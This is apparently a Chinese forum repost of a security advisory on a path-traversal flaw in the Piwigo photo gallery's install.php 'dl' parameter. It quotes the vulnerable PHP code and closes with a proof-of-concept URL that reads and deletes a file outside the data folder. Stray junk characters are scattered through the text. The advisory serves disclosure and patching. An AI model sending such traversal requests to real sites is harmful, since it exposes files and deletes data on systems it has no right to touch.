Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

( }- V' i3 [# f  s5 m: ~Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
/ ^" a- x) C" W; ^2 Z0 [3 k$ p-------------
% a! H2 Y( f& [- D# i6 ~/ H113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
5 ~4 n' O! {8 ~1 m1 n114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
* J4 b1 m+ c% @- H0 Y116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
; Y) p, w  @+ E7 i4 p5 k& A4 p123:   exit();
124: }
====================================================================
& X7 {7 M& i( }1 _# C  i5 S
: J% _! J% y, I! mTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
$ W* x: t; n9 N' I  |: ]. tVendor Patch: http://piwigo.org/bugs/view.php?id=2843
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' y- c; ]9 D/ ^5 k) @15.02.2013
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1 O! _/ @1 [# e--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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